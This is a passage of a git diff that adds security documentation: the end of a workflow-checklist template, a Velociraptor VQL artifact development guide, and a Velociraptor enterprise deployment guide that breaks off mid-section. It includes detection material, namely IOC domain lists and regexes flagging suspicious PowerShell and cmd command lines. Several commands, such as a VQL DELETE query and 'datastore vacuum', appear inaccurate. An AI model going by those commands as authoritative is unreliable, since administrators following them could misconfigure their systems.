CVSS < 4.0 → Priority: Low (action within 30 days) + +3. Apply appropriate remediation pattern +4. Validate fix with security testing +5. Document changes and update security documentation + +--- + +## Pattern 3: Iterative Workflow + +Use this pattern for operations that repeat across multiple targets or items. + +### Code Security Review Workflow + +For each file in the review scope: +1. Identify security-sensitive operations (auth, data access, crypto, input handling) +2. Check against secure coding patterns for the language +3. Flag potential vulnerabilities with severity rating +4. Map findings to CWE and OWASP categories +5. Suggest specific remediation approaches +6. Document finding with code location and fix priority + +Continue until all files in scope have been reviewed. + +--- + +## Pattern 4: Feedback Loop Workflow + +Use this pattern when validation and iteration are required. + +### Secure Configuration Generation Workflow + +1. Generate initial security configuration based on requirements +2. Run validation script: `./scripts/validate_config.py config.yaml` +3. Review validation output: + - Note all errors (must fix) + - Note all warnings (should fix) + - Note all info items (consider) +4. Fix identified issues in configuration +5. Repeat steps 2-4 until validation passes with zero errors +6. Review warnings and determine if they should be addressed +7. Apply configuration once validation is clean + +**Validation Loop**: Run validator → Fix errors → Repeat until clean + +--- + +## Pattern 5: Parallel Analysis Workflow + +Use this pattern when multiple independent analyses can run concurrently. + +### Comprehensive Security Scan Workflow + +Run these scans in parallel: + +**Static Analysis**: +[ ] 1a. Run SAST scan (Semgrep/Bandit) +[ ] 1b. Run dependency vulnerability scan (Safety/npm audit) +[ ] 1c. Run secrets detection (Gitleaks/TruffleHog) +[ ] 1d. Run license compliance check + +**Dynamic Analysis**: +[ ] 2a. Run DAST scan (ZAP/Burp) +[ ] 2b. Run API security testing +[ ] 2c. Run authentication/authorization testing + +**Infrastructure Analysis**: +[ ] 3a. Run infrastructure-as-code scan (Checkov/tfsec) +[ ] 3b. Run container image scan (Trivy/Grype) +[ ] 3c. Run configuration review + +**Consolidation**: +[ ] 4. Aggregate all findings +[ ] 5. Deduplicate and correlate findings +[ ] 6. Prioritize by risk (CVSS + exploitability + business impact) +[ ] 7. Generate unified security report + +--- + +## Pattern 6: Research and Documentation Workflow + +Use this pattern for security research and documentation tasks. + +### Threat Modeling Workflow + +Research Progress: +[ ] 1. Identify system components and boundaries +[ ] 2. Map data flows between components +[ ] 3. Identify trust boundaries +[ ] 4. Enumerate assets (data, services, credentials) +[ ] 5. Apply STRIDE framework to each component: + - Spoofing threats + - Tampering threats + - Repudiation threats + - Information disclosure threats + - Denial of service threats + - Elevation of privilege threats +[ ] 6. Map threats to MITRE ATT&CK techniques +[ ] 7. Identify existing mitigations +[ ] 8. Document residual risks +[ ] 9. Recommend additional security controls +[ ] 10. Generate threat model document + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 7: Compliance Validation Workflow + +Use this pattern for compliance checks against security standards. + +### Security Compliance Audit Workflow + +**SOC 2 Controls Review**: +[ ] 1. Review access control policies (CC6.1, CC6.2, CC6.3) +[ ] 2. Verify logical access controls implementation (CC6.1) +[ ] 3. Review authentication mechanisms (CC6.1) +[ ] 4. Verify encryption implementation (CC6.1, CC6.7) +[ ] 5. Review audit logging configuration (CC7.2) +[ ] 6. Verify security monitoring (CC7.2, CC7.3) +[ ] 7. Review incident response procedures (CC7.3, CC7.4) +[ ] 8. Verify backup and recovery processes (A1.2, A1.3) + +**Evidence Collection**: +[ ] 9. Collect policy documents +[ ] 10. Collect configuration screenshots +[ ] 11. Collect audit logs +[ ] 12. Document control gaps +[ ] 13. Generate compliance report + +--- + +## Pattern 8: Incident Response Workflow + +Use this pattern for security incident handling. + +### Security Incident Response Workflow + +**Detection and Analysis**: +[ ] 1. Confirm security incident (rule out false positive) +[ ] 2. Determine incident severity (SEV1/2/3/4) +[ ] 3. Identify affected systems and data +[ ] 4. Preserve evidence (logs, memory dumps, network captures) + +**Containment**: +[ ] 5. Isolate affected systems (network segmentation) +[ ] 6. Disable compromised accounts +[ ] 7. Block malicious indicators (IPs, domains, hashes) +[ ] 8. Implement temporary compensating controls + +**Eradication**: +[ ] 9. Identify root cause +[ ] 10. Remove malicious artifacts (malware, backdoors, webshells) +[ ] 11. Patch vulnerabilities exploited +[ ] 12. Reset compromised credentials + +**Recovery**: +[ ] 13. Restore systems from clean backups (if needed) +[ ] 14. Re-enable systems with monitoring +[ ] 15. Verify system integrity +[ ] 16. Resume normal operations + +**Post-Incident**: +[ ] 17. Document incident timeline +[ ] 18. Identify lessons learned +[ ] 19. Update security controls to prevent recurrence +[ ] 20. Update incident response procedures +[ ] 21. Communicate with stakeholders + +--- + +## Usage Guidelines + +### When to Use Workflow Checklists + +✅ **Use checklists for**: +- Complex multi-step operations +- Operations requiring specific order +- Security assessments and audits +- Incident response procedures +- Compliance validation tasks + +❌ **Don't use checklists for**: +- Simple single-step operations +- Highly dynamic exploratory work +- Operations that vary significantly each time + +### Adapting This Template + +1. **Copy relevant pattern** to your skill's SKILL.md or create new reference file +2. **Customize steps** to match your specific security tool or process +3. **Add framework references** (OWASP, CWE, NIST) where applicable +4. **Include tool-specific commands** for automation +5. **Add decision points** where manual judgment is required + +### Checklist Best Practices + +- **Be specific**: "Run semgrep --config=auto ." not "Scan the code" +- **Include success criteria**: "Validation passes with 0 errors" +- **Reference standards**: Link to OWASP, CWE, NIST where relevant +- **Show progress**: Checkbox format helps track completion +- **Provide escape hatches**: "If validation fails, see troubleshooting.md" + +### Integration with Feedback Loops + +Combine checklists with validation scripts for maximum effectiveness: + +1. Create checklist for the workflow +2. Provide validation script that checks quality +3. Include "run validator" step in checklist +4. Loop: Complete step → Validate → Fix issues → Re-validate + +This pattern dramatically improves output quality through systematic validation. diff --git a/skills/incident-response/ir-velociraptor/references/artifact-development.md b/skills/incident-response/ir-velociraptor/references/artifact-development.md new file mode 100644 index 0000000..d28c695 --- /dev/null +++ b/skills/incident-response/ir-velociraptor/references/artifact-development.md @@ -0,0 +1,627 @@ +# Velociraptor Artifact Development Guide + +Guide to creating custom VQL artifacts for specific investigation and threat hunting scenarios. + +## Table of Contents +- [Artifact Structure](#artifact-structure) +- [Parameter Types](#parameter-types) +- [Source Types](#source-types) +- [Best Practices](#best-practices) +- [Common Patterns](#common-patterns) +- [Testing Artifacts](#testing-artifacts) + +## Artifact Structure + +Velociraptor artifacts are YAML files with a defined structure: + +```yaml +name: Category.Subcategory.ArtifactName +description: | + Detailed description of what this artifact collects and why. + Include use cases and expected output. + +author: Your Name + +type: CLIENT # CLIENT, SERVER, or CLIENT_EVENT + +parameters: + - name: ParameterName + default: "default_value" + type: string + description: Parameter description + +precondition: | + SELECT OS FROM info() WHERE OS = 'windows' + +sources: + - name: SourceName + query: | + SELECT * FROM plugin() + WHERE condition + +reports: + - type: CLIENT + template: | + # Report Title + {{ .Description }} + + {{ range .Rows }} + - {{ .Column }} + {{ end }} +``` + +### Required Fields + +- **name**: Unique artifact identifier in dot notation +- **description**: What the artifact does and when to use it +- **sources**: At least one VQL query source + +### Optional Fields + +- **author**: Creator information +- **type**: Artifact type (CLIENT, SERVER, CLIENT_EVENT) +- **parameters**: User-configurable inputs +- **precondition**: Check before running (OS, software presence) +- **reports**: Output formatting templates +- **references**: External documentation links + +## Parameter Types + +### String Parameters + +```yaml +parameters: + - name: SearchPath + default: "C:/Windows/System32/" + type: string + description: Directory path to search +``` + +### Integer Parameters + +```yaml +parameters: + - name: DaysBack + default: 7 + type: int + description: Number of days to look back +``` + +### Boolean Parameters + +```yaml +parameters: + - name: IncludeSystem + default: Y + type: bool + description: Include system files +``` + +### Regex Parameters + +```yaml +parameters: + - name: ProcessPattern + default: "(?i)(powershell|cmd)" + type: regex + description: Process name pattern to match +``` + +### Choice Parameters + +```yaml +parameters: + - name: LogLevel + default: "INFO" + type: choices + choices: + - DEBUG + - INFO + - WARNING + - ERROR + description: Logging verbosity +``` + +### CSV Parameters + +```yaml +parameters: + - name: IOCList + default: | + evil.com + malicious.net + type: csv + description: List of IOC domains +``` + +## Source Types + +### Query Sources + +Standard VQL query that collects data: + +```yaml +sources: + - name: ProcessCollection + query: | + SELECT Pid, Name, CommandLine, Username + FROM pslist() + WHERE Name =~ ProcessPattern +``` + +### Event Sources + +Continuous monitoring queries for CLIENT_EVENT artifacts: + +```yaml +sources: + - name: ProcessCreation + query: | + SELECT * FROM watch_evtx( + filename="C:/Windows/System32/winevt/Logs/Security.evtx" + ) + WHERE System.EventID.Value = 4688 +``` + +### Multiple Sources + +Artifacts can have multiple sources for different data collection: + +```yaml +sources: + - name: Processes + query: | + SELECT * FROM pslist() + + - name: NetworkConnections + query: | + SELECT * FROM netstat() + + - name: LoadedDLLs + query: | + SELECT * FROM modules() +``` + +## Best Practices + +### 1. Use Preconditions + +Prevent artifact execution on incompatible systems: + +```yaml +# Windows-only artifact +precondition: | + SELECT OS FROM info() WHERE OS = 'windows' + +# Requires specific tool +precondition: | + SELECT * FROM stat(filename="C:/Tools/sysinternals/psexec.exe") + +# Version check +precondition: | + SELECT * FROM info() WHERE OS = 'windows' AND OSVersion =~ '10' +``` + +### 2. Parameterize Paths and Patterns + +Make artifacts flexible and reusable: + +```yaml +parameters: + - name: TargetPath + default: "C:/Users/**/AppData/**" + type: string + + - name: FilePattern + default: "*.exe" + type: string + +sources: + - query: | + SELECT * FROM glob(globs=TargetPath + "/" + FilePattern) +``` + +### 3. Use LET for Query Composition + +Break complex queries into manageable parts: + +```yaml +sources: + - query: | + -- Define reusable subqueries + LET SuspiciousProcesses = SELECT Pid, Name, CommandLine + FROM pslist() + WHERE CommandLine =~ "(?i)(bypass|hidden)" + + LET NetworkConnections = SELECT Pid, Raddr.IP AS RemoteIP + FROM netstat() + WHERE Status = "ESTABLISHED" + + -- Join and correlate + SELECT sp.Name, + sp.CommandLine, + nc.RemoteIP + FROM SuspiciousProcesses sp + JOIN NetworkConnections nc ON sp.Pid = nc.Pid +``` + +### 4. Add Error Handling + +Handle missing data gracefully: + +```yaml +sources: + - query: | + SELECT * FROM foreach( + row={ + SELECT FullPath FROM glob(globs=SearchPath) + }, + query={ + SELECT FullPath, + hash(path=FullPath, accessor="file").SHA256 AS SHA256 + FROM scope() + WHERE log(message="Processing: " + FullPath) + }, + workers=5 + ) + WHERE SHA256 -- Filter out hash failures +``` + +### 5. Include Documentation + +Add inline comments and comprehensive descriptions: + +```yaml +description: | + ## Overview + This artifact hunts for suspicious scheduled tasks. + + ## Use Cases + - Persistence mechanism detection + - Lateral movement artifact collection + - Threat hunting campaigns + + ## Output + Returns task name, actions, triggers, and creation time. + + ## References + - MITRE ATT&CK T1053.005 (Scheduled Task/Job) +``` + +## Common Patterns + +### Pattern: File Collection with Hashing + +```yaml +name: Custom.Windows.FileCollection +description: Collect files matching patterns with hashes + +parameters: + - name: GlobPatterns + default: | + C:/Users/**/AppData/**/*.exe + C:/Windows/Temp/**/*.dll + type: csv + +sources: + - query: | + SELECT FullPath, + Size, + timestamp(epoch=Mtime) AS Modified, + timestamp(epoch=Btime) AS Created, + hash(path=FullPath, accessor="file") AS Hashes + FROM foreach( + row={ + SELECT * FROM parse_csv(filename=GlobPatterns, accessor="data") + }, + query={ + SELECT * FROM glob(globs=_value) + } + ) + WHERE NOT IsDir +``` + +### Pattern: Event Log Analysis + +```yaml +name: Custom.Windows.EventLogHunt +description: Hunt for specific event IDs with context + +parameters: + - name: LogFile + default: "C:/Windows/System32/winevt/Logs/Security.evtx" + type: string + + - name: EventIDs + default: "4624,4625,4672" + type: csv + +sources: + - query: | + LET EventIDList = SELECT parse_string_with_regex( + string=EventIDs, + regex="(\\d+)" + ).g1 AS EventID FROM scope() + + SELECT timestamp(epoch=System.TimeCreated.SystemTime) AS EventTime, + System.EventID.Value AS EventID, + System.Computer AS Computer, + EventData + FROM parse_evtx(filename=LogFile) + WHERE str(str=System.EventID.Value) IN EventIDList.EventID + ORDER BY EventTime DESC +``` + +### Pattern: Process Tree Analysis + +```yaml +name: Custom.Windows.ProcessTree +description: Build process tree from a starting PID + +parameters: + - name: RootPID + default: 0 + type: int + description: Starting process PID (0 for all) + +sources: + - query: | + LET ProcessList = SELECT Pid, Ppid, Name, CommandLine, Username, CreateTime + FROM pslist() + + LET RECURSIVE GetChildren(ParentPID) = SELECT * + FROM ProcessList + WHERE Ppid = ParentPID + + LET RECURSIVE BuildTree(Level, ParentPID) = SELECT + Level, + Pid, + Ppid, + Name, + CommandLine, + Username, + CreateTime + FROM GetChildren(ParentPID=ParentPID) + UNION ALL + SELECT * FROM BuildTree(Level=Level+1, ParentPID=Pid) + + SELECT * FROM if( + condition=RootPID > 0, + then={ + SELECT * FROM BuildTree(Level=0, ParentPID=RootPID) + }, + else={ + SELECT 0 AS Level, * FROM ProcessList + } + ) + ORDER BY CreateTime +``` + +### Pattern: Network IOC Matching + +```yaml +name: Custom.Windows.NetworkIOCMatch +description: Match network connections against IOC list + +parameters: + - name: IOCList + default: | + IP,Description + 192.0.2.1,C2 Server + 198.51.100.50,Malicious Host + type: csv + +sources: + - query: | + LET IOCs = SELECT IP, Description + FROM parse_csv(filename=IOCList, accessor="data") + + LET Connections = SELECT + Raddr.IP AS RemoteIP, + Raddr.Port AS RemotePort, + Pid, + process_tracker_get(id=Pid).Name AS ProcessName, + process_tracker_get(id=Pid).CommandLine AS CommandLine + FROM netstat() + WHERE Status = "ESTABLISHED" + + SELECT c.RemoteIP, + c.RemotePort, + c.ProcessName, + c.CommandLine, + i.Description AS IOCMatch + FROM Connections c + JOIN IOCs i ON c.RemoteIP = i.IP +``` + +### Pattern: Registry Timeline + +```yaml +name: Custom.Windows.RegistryTimeline +description: Timeline registry modifications in specific keys + +parameters: + - name: RegistryPaths + default: | + HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/** + HKEY_CURRENT_USER/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/** + type: csv + + - name: DaysBack + default: 7 + type: int + +sources: + - query: | + LET StartTime = timestamp(epoch=now() - DaysBack * 86400) + + SELECT timestamp(epoch=Key.Mtime) AS Modified, + Key.FullPath AS RegistryPath, + ValueName, + ValueData.value AS Value + FROM foreach( + row={ + SELECT * FROM parse_csv(filename=RegistryPaths, accessor="data") + }, + query={ + SELECT * FROM read_reg_key(globs=_value) + } + ) + WHERE Key.Mtime > StartTime + ORDER BY Modified DESC +``` + +## Testing Artifacts + +### 1. Local Testing with GUI + +```bash +# Start Velociraptor in GUI mode +velociraptor gui + +# Navigate to: View Artifacts → Add Artifact +# Paste your artifact YAML and click Save +# Run artifact via Collected Artifacts → New Collection +``` + +### 2. Command Line Testing + +```bash +# Test artifact syntax +velociraptor artifacts show Custom.Artifact.Name + +# Run artifact locally +velociraptor artifacts collect Custom.Artifact.Name \ + --args ParameterName=value \ + --format json + +# Run with output file +velociraptor artifacts collect Custom.Artifact.Name \ + --output results.json +``` + +### 3. Notebook Testing + +Use VQL notebooks for interactive development: + +```sql +-- Test query components in isolation +SELECT * FROM pslist() WHERE Name =~ "powershell" LIMIT 10 + +-- Test parameter substitution +LET ProcessPattern = "(?i)(powershell|cmd)" +SELECT * FROM pslist() WHERE Name =~ ProcessPattern + +-- Test full artifact query +/* Paste your artifact query here */ +``` + +### 4. Validation Checklist + +Before deploying artifacts: + +- [ ] Artifact name follows convention: Category.Subcategory.Name +- [ ] Description includes use cases and expected output +- [ ] Parameters have sensible defaults +- [ ] Precondition prevents incompatible execution +- [ ] Query tested in notebook mode +- [ ] Error handling for missing data +- [ ] Performance acceptable on test system +- [ ] Output format is useful and parseable +- [ ] Documentation includes MITRE ATT&CK mapping if applicable + +## Performance Considerations + +### Limit Scope + +```yaml +# BAD: Scans entire filesystem +SELECT * FROM glob(globs="C:/**/*.exe") + +# GOOD: Targeted scope +SELECT * FROM glob(globs=[ + "C:/Users/**/AppData/**/*.exe", + "C:/Windows/Temp/**/*.exe" +]) +``` + +### Use Workers for Parallel Processing + +```yaml +sources: + - query: | + SELECT * FROM foreach( + row={SELECT * FROM glob(globs=SearchPath)}, + query={ + SELECT FullPath, + hash(path=FullPath, accessor="file").SHA256 AS SHA256 + FROM scope() + }, + workers=10 -- Process 10 files concurrently + ) +``` + +### Rate Limiting + +```yaml +sources: + - query: | + SELECT * FROM foreach( + row={SELECT * FROM glob(globs="C:/**")}, + query={ + SELECT * FROM scope() + WHERE rate(query_name="my_query", ops_per_sec=100) + } + ) +``` + +## MITRE ATT&CK Mapping + +Map artifacts to MITRE ATT&CK techniques: + +```yaml +name: Custom.Windows.PersistenceHunt +description: | + Hunt for persistence mechanisms. + + MITRE ATT&CK Techniques: + - T1547.001: Registry Run Keys / Startup Folder + - T1053.005: Scheduled Task/Job + - T1543.003: Windows Service + - T1546.003: Windows Management Instrumentation Event Subscription + +references: + - https://attack.mitre.org/techniques/T1547/001/ + - https://attack.mitre.org/techniques/T1053/005/ +``` + +## Artifact Distribution + +### Export Artifacts + +```bash +# Export single artifact +velociraptor artifacts show Custom.Artifact.Name > artifact.yaml + +# Export all custom artifacts +velociraptor artifacts list --filter Custom > all_artifacts.yaml +``` + +### Import Artifacts + +```bash +# Via command line +velociraptor --config server.config.yaml artifacts import artifact.yaml + +# Via GUI +# Navigate to: View Artifacts → Upload Artifact Pack +``` + +### Share via Artifact Exchange + +Contribute artifacts to the community: + +1. Test thoroughly across different systems +2. Document clearly with examples +3. Add MITRE ATT&CK mappings +4. Submit to: https://docs.velociraptor.app/exchange/ diff --git a/skills/incident-response/ir-velociraptor/references/deployment-guide.md b/skills/incident-response/ir-velociraptor/references/deployment-guide.md new file mode 100644 index 0000000..cae46b3 --- /dev/null +++ b/skills/incident-response/ir-velociraptor/references/deployment-guide.md @@ -0,0 +1,657 @@ +# Velociraptor Enterprise Deployment Guide + +Comprehensive guide for deploying Velociraptor in enterprise environments. + +## Table of Contents +- [Architecture Overview](#architecture-overview) +- [Server Deployment](#server-deployment) +- [Client Deployment](#client-deployment) +- [High Availability](#high-availability) +- [Security Hardening](#security-hardening) +- [Monitoring and Maintenance](#monitoring-and-maintenance) +- [Scaling Considerations](#scaling-considerations) + +## Architecture Overview + +### Components + +**Frontend Server**: +- Handles client communication (gRPC) +- Serves web GUI +- Manages TLS connections +- Default port: TCP 8000 (clients), TCP 8889 (GUI) + +**Datastore**: +- Filesystem-based by default +- Stores artifacts, collections, and configurations +- Can use external storage (S3, GCS) + +**Clients (Agents)**: +- Lightweight endpoint agents +- Execute VQL queries +- Report results to server +- Self-updating capability + +### Deployment Models + +**Single Server** (< 1000 endpoints): +``` +[Clients] ──→ [Frontend + GUI + Datastore] +``` + +**Multi-Frontend** (1000-10000 endpoints): +``` + ┌─→ [Frontend 1] +[Clients] ──→ [LB]├─→ [Frontend 2] ──→ [Shared Datastore] + └─→ [Frontend 3] +``` + +**Distributed** (> 10000 endpoints): +``` + ┌─→ [Frontend Pool 1] ──→ [Datastore Region 1] +[Clients by region]├─→ [Frontend Pool 2] ──→ [Datastore Region 2] + └─→ [Frontend Pool 3] ──→ [Datastore Region 3] +``` + +## Server Deployment + +### Prerequisites + +**System Requirements**: +- OS: Linux (Ubuntu 20.04+, RHEL 8+), Windows Server 2019+ +- RAM: 8GB minimum, 16GB+ recommended for large deployments +- CPU: 4 cores minimum, 8+ for production +- Storage: 100GB+ for datastore (grows with collections) +- Network: Public IP or internal with client access + +**Software Requirements**: +- No external dependencies (single binary) +- Optional: MySQL/PostgreSQL for metadata (future enhancement) + +### Installation Steps + +#### 1. Download Velociraptor + +```bash +# Linux +wget https://github.com/Velocidex/velociraptor/releases/download/v0.72/velociraptor-v0.72.3-linux-amd64 + +# Make executable +chmod +x velociraptor-v0.72.3-linux-amd64 +sudo mv velociraptor-v0.72.3-linux-amd64 /usr/local/bin/velociraptor +``` + +#### 2. Generate Server Configuration + +```bash +# Interactive configuration generation +velociraptor config generate -i + +# Or automated with defaults +velociraptor config generate \ + --deployment linux \ + --frontend_hostname velociraptor.company.com \ + --frontend_port 8000 \ + --gui_port 8889 \ + --datastore /var/lib/velociraptor \ + > /etc/velociraptor/server.config.yaml +``` + +**Key Configuration Options**: + +```yaml +# server.config.yaml +version: + name: velociraptor + version: "0.72" + +Client: + server_urls: + - https://velociraptor.company.com:8000/ + ca_certificate: | + -----BEGIN CERTIFICATE----- + [CA cert] + -----END CERTIFICATE----- + +API: + bind_address: 0.0.0.0 + bind_port: 8001 + bind_scheme: tcp + +GUI: + bind_address: 0.0.0.0 + bind_port: 8889 + use_plain_http: false + internal_cidr: + - 10.0.0.0/8 + - 172.16.0.0/12 + - 192.168.0.0/16 + +Frontend: + hostname: velociraptor.company.com + bind_address: 0.0.0.0 + bind_port: 8000 + +Datastore: + implementation: FileBaseDataStore + location: /var/lib/velociraptor + filestore_directory: /var/lib/velociraptor +``` + +#### 3. Setup Systemd Service (Linux) + +```bash +# Create service file +sudo cat > /etc/systemd/system/velociraptor.service <<'EOF' +[Unit] +Description=Velociraptor DFIR Agent +After=network.target + +[Service] +Type=simple +ExecStart=/usr/local/bin/velociraptor --config /etc/velociraptor/server.config.yaml frontend -v +Restart=on-failure +RestartSec=10 +User=velociraptor +Group=velociraptor +StandardOutput=journal +StandardError=journal +SyslogIdentifier=velociraptor + +# Security hardening +NoNewPrivileges=true +PrivateTmp=true +ProtectSystem=full +ProtectHome=true +ReadWritePaths=/var/lib/velociraptor + +[Install] +WantedBy=multi-user.target +EOF + +# Create user +sudo useradd -r -s /bin/false velociraptor + +# Setup directories +sudo mkdir -p /etc/velociraptor /var/lib/velociraptor +sudo chown -R velociraptor:velociraptor /etc/velociraptor /var/lib/velociraptor + +# Start service +sudo systemctl daemon-reload +sudo systemctl enable velociraptor +sudo systemctl start velociraptor +``` + +#### 4. Create Initial Admin User + +```bash +# Create admin user +velociraptor --config /etc/velociraptor/server.config.yaml \ + user add admin --role administrator + +# Verify +velociraptor --config /etc/velociraptor/server.config.yaml \ + user show admin +``` + +#### 5. Access Web Interface + +```bash +# Access GUI at: https://velociraptor.company.com:8889/ +# Login with admin credentials created above +``` + +### TLS Certificate Configuration + +**Option 1: Self-Signed (Testing)**: +```bash +# Already generated during config creation +# Certificates in server.config.yaml +``` + +**Option 2: Let's Encrypt**: +```bash +# Install certbot +sudo apt install certbot + +# Generate certificate +sudo certbot certonly --standalone \ + -d velociraptor.company.com \ + --non-interactive --agree-tos \ + -m admin@company.com + +# Update server.config.yaml with Let's Encrypt certs +``` + +**Option 3: Corporate CA**: +```yaml +# Update server.config.yaml +Frontend: + certificate: /path/to/server-cert.pem + private_key: /path/to/server-key.pem + +GUI: + use_plain_http: false + certificate: /path/to/gui-cert.pem + private_key: /path/to/gui-key.pem +``` + +## Client Deployment + +### Generate Client Configuration + +```bash +# Generate client config from server config +velociraptor --config /etc/velociraptor/server.config.yaml \ + config client > /tmp/client.config.yaml +``` + +### Deployment Methods + +#### Method 1: MSI Installer (Windows) + +```bash +# Generate MSI installer +velociraptor --config /etc/velociraptor/server.config.yaml \ + config msi --binary velociraptor.exe \ + --output VelociraptorClient.msi + +# Deploy via GPO, SCCM, or Intune +# Silent install: msiexec /i VelociraptorClient.msi /quiet +``` + +#### Method 2: DEB/RPM Package (Linux) + +```bash +# Generate DEB package +velociraptor --config /etc/velociraptor/server.config.yaml \ + debian client --binary velociraptor-linux-amd64 \ + --output velociraptor-client.deb + +# Deploy via Ansible, Puppet, or package manager +# Install: sudo dpkg -i velociraptor-client.deb +``` + +#### Method 3: Manual Installation + +**Windows**: +```powershell +# Copy binary and config +Copy-Item velociraptor.exe C:\Program Files\Velociraptor\ +Copy-Item client.config.yaml C:\Program Files\Velociraptor\ + +# Install as service +& "C:\Program Files\Velociraptor\velociraptor.exe" ` + --config "C:\Program Files\Velociraptor\client.config.yaml" ` + service install + +# Start service +Start-Service Velociraptor +``` + +**Linux**: +```bash +# Copy binary and config +sudo cp velociraptor /usr/local/bin/ +sudo cp client.config.yaml /etc/velociraptor/ + +# Create systemd service +sudo cat > /etc/systemd/system/velociraptor-client.service <<'EOF' +[Unit] +Description=Velociraptor DFIR Client +After=network.target + +[Service] +Type=simple +ExecStart=/usr/local/bin/velociraptor --config /etc/velociraptor/client.config.yaml client -v +Restart=on-failure +User=root + +[Install] +WantedBy=multi-user.target +EOF + +# Start service +sudo systemctl enable velociraptor-client +sudo systemctl start velociraptor-client +``` + +### Client Configuration Options + +```yaml +# client.config.yaml +Client: + server_urls: + - https://velociraptor.company.com:8000/ + + # Connection tuning + max_poll: 60 # Max seconds between polls + max_poll_std: 10 # Jitter to prevent thundering herd + + # Performance + max_upload_size: 104857600 # 100MB + cpu_limit: 80 # CPU usage percentage limit + progress_timeout: 3600 # Query timeout + + # Writeback file (client state) + writeback_linux: /etc/velociraptor/writeback.yaml + writeback_windows: C:\Program Files\Velociraptor\writeback.yaml +``` + +## High Availability + +### Load Balancer Configuration + +**HAProxy Example**: +```conf +# /etc/haproxy/haproxy.cfg +frontend velociraptor_frontend + bind *:8000 ssl crt /etc/ssl/certs/velociraptor.pem + mode tcp + default_backend velociraptor_servers + +backend velociraptor_servers + mode tcp + balance leastconn + option tcp-check + server velo1 10.0.1.10:8000 check + server velo2 10.0.1.11:8000 check + server velo3 10.0.1.12:8000 check + +frontend velociraptor_gui + bind *:8889 ssl crt /etc/ssl/certs/velociraptor.pem + mode http + default_backend velociraptor_gui_servers + +backend velociraptor_gui_servers + mode http + balance roundrobin + option httpchk GET / + server velo1 10.0.1.10:8889 check + server velo2 10.0.1.11:8889 check + server velo3 10.0.1.12:8889 check +``` + +### Shared Datastore + +**NFS Configuration**: +```bash +# On NFS server +sudo apt install nfs-kernel-server +sudo mkdir -p /export/velociraptor +sudo chown nobody:nogroup /export/velociraptor + +# /etc/exports +/export/velociraptor 10.0.1.0/24(rw,sync,no_subtree_check,no_root_squash) + +# On Velociraptor servers +sudo mount -t nfs nfs-server:/export/velociraptor /var/lib/velociraptor +``` + +**S3 Datastore (Future)**: +```yaml +# server.config.yaml +Datastore: + implementation: S3DataStore + s3_bucket: velociraptor-datastore + s3_region: us-east-1 + credentials_file: /etc/velociraptor/aws-credentials +``` + +## Security Hardening + +### Network Security + +**Firewall Rules** (iptables): +```bash +# Allow client connections +sudo iptables -A INPUT -p tcp --dport 8000 -j ACCEPT + +# Allow GUI access from management network only +sudo iptables -A INPUT -p tcp --dport 8889 -s 10.0.0.0/8 -j ACCEPT +sudo iptables -A INPUT -p tcp --dport 8889 -j DROP + +# Save rules +sudo iptables-save > /etc/iptables/rules.v4 +``` + +**TLS Configuration**: +```yaml +# Enforce TLS 1.2+ +Frontend: + min_tls_version: "1.2" + +GUI: + min_tls_version: "1.2" +``` + +### Access Control + +**Role-Based Access**: +```bash +# Create read-only analyst role +velociraptor --config server.config.yaml \ + acl grant analyst --role reader + +# Create hunt operator role +velociraptor --config server.config.yaml \ + acl grant hunter --role analyst + +# Create admin role +velociraptor --config server.config.yaml \ + acl grant admin --role administrator +``` + +**Permissions Matrix**: +| Role | View Artifacts | Run Collections | Create Hunts | Manage Users | View All Clients | +|------|---------------|-----------------|--------------|--------------|------------------| +| Reader | ✓ | ✗ | ✗ | ✗ | ✗ | +| Analyst | ✓ | ✓ | ✗ | ✗ | ✓ | +| Investigator | ✓ | ✓ | ✓ | ✗ | ✓ | +| Administrator | ✓ | ✓ | ✓ | ✓ | ✓ | + +### Audit Logging + +**Enable Comprehensive Logging**: +```yaml +# server.config.yaml +Logging: + output_directory: /var/log/velociraptor + separate_logs_per_component: true + max_age: 365 + + # Log queries + log_queries: true + + # Log all API calls + log_api_calls: true +``` + +**Audit Log Monitoring**: +```bash +# Monitor authentication events +tail -f /var/log/velociraptor/frontend.log | grep -i "auth" + +# Monitor collection starts +tail -f /var/log/velociraptor/frontend.log | grep -i "collection" + +# Monitor hunt creation +tail -f /var/log/velociraptor/frontend.log | grep -i "hunt" +``` + +## Monitoring and Maintenance + +### Health Checks + +**Server Health**: +```bash +# Check server status +systemctl status velociraptor + +# Check connected clients +velociraptor --config server.config.yaml \ + query "SELECT client_id, os_info.hostname, last_seen_at FROM clients()" + +# Check resource usage +velociraptor --config server.config.yaml \ + query "SELECT * FROM monitoring()" +``` + +**Client Health Monitoring**: +```sql +-- Find offline clients (>24 hours) +SELECT client_id, + os_info.hostname AS Hostname, + timestamp(epoch=last_seen_at) AS LastSeen +FROM clients() +WHERE last_seen_at < now() - 86400 +ORDER BY last_seen_at +``` + +### Backup and Recovery + +**Backup Strategy**: +```bash +#!/bin/bash +# velociraptor-backup.sh + +BACKUP_DIR="/backup/velociraptor" +DATASTORE="/var/lib/velociraptor" +DATE=$(date +%Y%m%d-%H%M%S) + +# Stop server (optional for consistency) +# systemctl stop velociraptor + +# Backup datastore +tar -czf "$BACKUP_DIR/datastore-$DATE.tar.gz" "$DATASTORE" + +# Backup configuration +cp /etc/velociraptor/server.config.yaml "$BACKUP_DIR/server.config-$DATE.yaml" + +# Restart server +# systemctl start velociraptor + +# Rotate old backups (keep 30 days) +find "$BACKUP_DIR" -name "*.tar.gz" -mtime +30 -delete +``` + +**Recovery**: +```bash +# Stop server +systemctl stop velociraptor + +# Restore datastore +tar -xzf /backup/velociraptor/datastore-20240115.tar.gz -C /var/lib/ + +# Restore config +cp /backup/velociraptor/server.config-20240115.yaml /etc/velociraptor/server.config.yaml + +# Start server +systemctl start velociraptor +``` + +### Maintenance Tasks + +**Database Cleanup**: +```bash +# Delete old collections +velociraptor --config server.config.yaml \ + query "DELETE FROM collections WHERE timestamp < now() - 7776000" # 90 days + +# Vacuum datastore (reclaim space) +velociraptor --config server.config.yaml \ + datastore vacuum +``` + +**Client Updates**: +```bash +# Update clients via server +# 1. Upload new binary to server +velociraptor --config server.config.yaml \ + tools upload --file velociraptor-v0.72.4.exe --name velociraptor + +# 2. Create update hunt +velociraptor --config server.config.yaml \ + query "SELECT * FROM hunt(artifact='Generic.Client.Update')" +``` + +## Scaling Considerations + +### Performance Tuning + +**Server Configuration**: +```yaml +# 